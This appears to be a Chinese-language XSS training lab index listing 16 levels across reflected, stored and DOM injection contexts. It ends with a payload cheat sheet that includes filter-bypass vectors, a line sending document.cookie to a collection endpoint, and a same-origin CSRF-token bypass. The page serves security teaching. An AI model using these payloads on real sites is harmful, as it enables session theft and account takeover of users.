跨站脚本攻击(XSS)分层练习
共 16 关,知识结构与公开的 XSS 教学体系对应:三类 XSS(反射型、存储型、DOM 型)→ 注入上下文(标签间、标签属性、JS 字符串、模板字面量)→ 过滤绕过 → 实战利用(窃取 Cookie、绕过 CSRF 防护)。每关底部有“上一关 / 下一关”导航。
通关判定:靶场 01-14 以成功调用 alert() 为准(页头出现“已通关”,下一关按钮变绿);
靶场 15 以窃取日志出现 FLAG 为准;靶场 16 以受害者邮箱被改为 hacker@evil.example 为准。进度保存在浏览器 localStorage。
通关进度:0 / 16
关卡列表
搜索回显中的反射型 XSS
某购物网站的站内搜索会把关键词原样回显到结果页 HTML 中,服务端没有做任何编码处理。
第 2 关存储型 已通关评论区中的存储型 XSS
某商品页的评论区把评论内容原样存库并渲染到页面,任何访问者都会执行评论里的脚本。
第 3 关DOM 型 已通关document.write 接收源
页面在解析阶段用 document.write 把 search 参数写进文档流。注意与下一关对比:同一个来源,不同的接收源,执行能力不同。
第 4 关DOM 型 已通关innerHTML 接收源
页面用前端 JS 读取地址栏里的 search 参数,直接赋给 innerHTML。服务端不参与回显,抓包看不到注入内容。
第 5 关DOM 型 已通关jQuery 修改 href 属性
支付完成页用 jQuery 把 returnPath 参数写入“返回”链接的 href 属性,未校验协议。
第 6 关DOM 型 已通关jQuery 选择器 + hashchange
页面监听 hashchange 事件,把 location.hash 直接传给 jQuery 的 $() 去查找元素。当字符串以 < 开头时,jQuery 会按 HTML 解析。
第 7 关反射型 已通关注入标签属性(引号放行)
搜索框会把关键词回显到 input 的 value 属性中。服务端编码了尖括号(无法引入新标签),但双引号原样保留。
第 8 关反射型 已通关注入 href 属性(引号被编码)
“返回上一页”链接的 href 由 url 参数生成,服务端编码了尖括号和双引号,因此无法跳出属性或标签,但没有限制协议。
第 9 关反射型 已通关注入 JS 字符串(尖括号编码)
服务端把搜索词拼进页面内联脚本的字符串常量里,只对尖括号做了 HTML 编码(因此无法闭合 script 标签),单引号未处理。
第 10 关反射型 已通关JS 字符串(引号/反斜杠编码)
服务端把搜索词放进内联脚本的字符串,并对单引号、反斜杠做了 JS 转义,但没有编码尖括号。
第 11 关存储型 已通关存储型注入 onclick 事件
评论的“个人主页”字段被拼进内联事件 onclick="openHome('…')" 中。服务端编码了尖括号和双引号,但漏掉了单引号。
第 12 关反射型 已通关模板字面量上下文
服务端把搜索词放进反引号模板字面量中,引号、反斜杠、反引号、尖括号都被处理,但 $ 与花括号原样保留。
第 13 关DOM 型 已通关document.write 进 img 属性
页面用 document.write 输出统计像素 img 标签,deviceId 参数被拼进 src 属性,前端未做任何编码。
第 14 关反射型 / 过滤绕过 已通关黑名单过滤绕过
服务端这次做了过滤:凡是以 < 开头的 script 标签(含大小写变体)都会被删除,其他一概不管。
第 15 关存储型 / 危害利用 已通关综合:窃取会话 Cookie
论坛评论区无任何过滤(与 02 关相同漏洞),本关研究漏洞的真实危害:把访问者的 Cookie 发送到攻击者的收集接口 /lab/15/steal。
第 16 关存储型 / 危害利用 已通关综合:XSS 绕过 CSRF 防护
论坛评论区仍无过滤。个人中心的“修改邮箱”功能部署了 CSRF 令牌防线,普通跨站请求无法伪造。但若能在同源页面执行 JS,这道防线便形同虚设。
Payload 速查(与关卡一一对应)
| 注入上下文 | 参考思路 |
|---|---|
| HTML 正文(无过滤) | <script>alert(1)</script> |
| HTML 正文(script 标签被拉黑) | <img src=x onerror=alert(1)> / <svg onload=alert(1)> |
| innerHTML 接收源 | script 标签不执行,用 <img src=x onerror=alert(1)> |
| document.write 接收源 | <script>alert(1)</script> 可直接执行 |
| 标签属性(尖括号编码、引号放行) | " autofocus onfocus=alert(1) |
| href 属性(引号被编码) | javascript:alert(1) |
| JS 字符串(尖括号被编码) | '-alert(1)-' |
| JS 字符串(引号/反斜杠被转义) | </script><script>alert(1)</script> |
| 内联事件里的字符串(单引号放行) | '-alert(1)-' |
| 模板字面量 | ${alert(1)} |
| document.write 拼进 img 属性 | " onerror=alert(1) x=" |
| jQuery $() 接收源 | <img src=x onerror=alert(1)>(按 HTML 解析) |
| Cookie 窃取(危害演示) | fetch('/xss-lab/steal?c='+encodeURIComponent(document.cookie)) |
| 绕过 CSRF 防护(危害演示) | 同源 fetch 先取令牌再提交表单 |